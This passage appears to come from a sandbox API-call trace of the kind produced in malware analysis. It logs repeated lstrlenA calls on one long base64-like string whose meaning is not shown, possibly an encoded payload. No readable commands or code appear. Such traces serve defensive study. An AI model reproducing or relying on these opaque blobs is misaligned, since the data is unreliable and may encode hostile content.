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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="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") returned 5820
	[0084.641] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2Uhk